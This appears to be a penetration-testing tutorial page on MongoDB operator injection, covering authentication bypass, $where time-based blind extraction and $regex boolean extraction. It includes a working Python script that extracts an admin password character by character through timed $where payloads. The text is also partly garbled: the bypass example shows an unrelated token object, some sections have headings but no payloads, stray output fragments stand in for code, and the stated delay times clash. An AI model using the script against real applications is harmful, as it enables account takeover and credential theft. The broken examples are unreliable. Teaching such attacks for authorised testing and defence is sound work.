MongoDB Operator Injection
MongoDB operator injection exploits web applications that pass unsanitized user input directly into MongoDB queries. Unlike SQL injection, the attack injects MongoDB query operators rather than SQL syntax. The most common outcomes are authentication bypass and data extraction. This attack targets the web application layer — not the MongoDB service directly — and requires the application to accept JSON or query parameters that reach a MongoDB find or aggregate operation without sanitization.
Identify Injectable Endpoints
Look for login forms, search endpoints, and API routes that accept JSON bodies or query parameters. Applications using Express/Node.js with Mongoose or the native driver are common targets. Test whether the endpoint accepts operator syntax by injecting a simple object:
{"token":"eyJhbGciOiJIUzI1NiJ9...","user":"admin"}
A successful login response confirms operator injection. The {"$gt":""} payload makes the password condition always true — any password is greater than an empty string — so authentication is bypassed regardless of what password the admin account has.
Authentication Bypass Operators
Test multiple operators — different applications sanitize some but miss others:
URL Parameter Injection
When the application accepts query parameters rather than a JSON body, inject operators using bracket notation:
$where JavaScript Injection
When server-side JavaScript is enabled, $where executes arbitrary JavaScript in query context. This enables time-based blind data extraction. Confirm JS is enabled first through dangerous configuration checks:
delayed
A 3-second delay confirms $where is executing JavaScript. Use this for time-based blind data extraction by conditioning the sleep on character comparisons:
real 0m2.134s
ASCII 97 is 'a'. A 2-second delay confirms the admin password starts with 'a'. Increment through ASCII values to extract the full password character by character. This is slow — automate with a script:
import requests, time, string
TARGET = f'http://$TARGET_IP:$PORT/api/login'
result = ''
for pos in range(0, 20):
found = False
for char in string.printable:
payload = {
"username": "admin",
"password": {"$where": f"this.password[{pos}]=='{char}'?sleep(2000):0"}
}
start = time.time()
try:
requests.post(TARGET, json=payload, timeout=3)
except requests.Timeout:
pass
elapsed = time.time() - start
if elapsed >= 2:
result += char
print(f'Password so far: {result}')
found = True
break
if not found:
break
print(f'Extracted password: {result}')
$regex for Blind Data Extraction
Without $where, use $regex for boolean-based blind extraction. A match returns a different response than a non-match:
312
42
The larger response for the ^a regex confirms the password starts with 'a'. Extend the regex pattern one character at a time to extract the full value: ^a, ^ad, ^adm, and so on.
References
-
PayloadsAllTheThings — NoSQL Injectiongithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection (opens in new tab)
MongoDB operator injection payload collection and blind extraction techniques
-
PortSwigger — NoSQL Injectionportswigger.net/web-security/nosql-injection (opens in new tab)
NoSQL injection detection and operator bypass methodology
Was this helpful?
Your feedback helps improve this page.